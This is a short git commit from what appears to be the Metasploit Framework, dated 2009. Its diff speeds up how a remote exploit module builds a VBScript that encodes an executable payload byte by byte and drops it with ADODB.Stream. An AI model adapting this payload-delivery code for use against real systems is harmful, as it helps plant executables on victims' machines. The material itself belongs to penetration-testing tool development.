speed up content creation, string concat sucks

git-svn-id: file:///home/svn/framework3/trunk@7356 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2009-11-04 19:06:01 +00:00
parent c675cfb1cf
commit 70b2d06c86
1 changed files with 3 additions and 1 deletions

View File

@ -98,13 +98,15 @@ class Metasploit3 < Msf::Exploit::Remote
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
vbs_ary = []
# The output of this loop needs to be as small as possible since it
# gets repeated for every byte of the executable, ballooning it by a
# factor of about 80k (the current size of the exe template). In its
# current form, it's down to about 4MB on the wire
exe.each_byte do |b|
vbs_content << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
end
vbs_content << vbs_ary.join("")
# Continue with the rest of the vbs file;
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent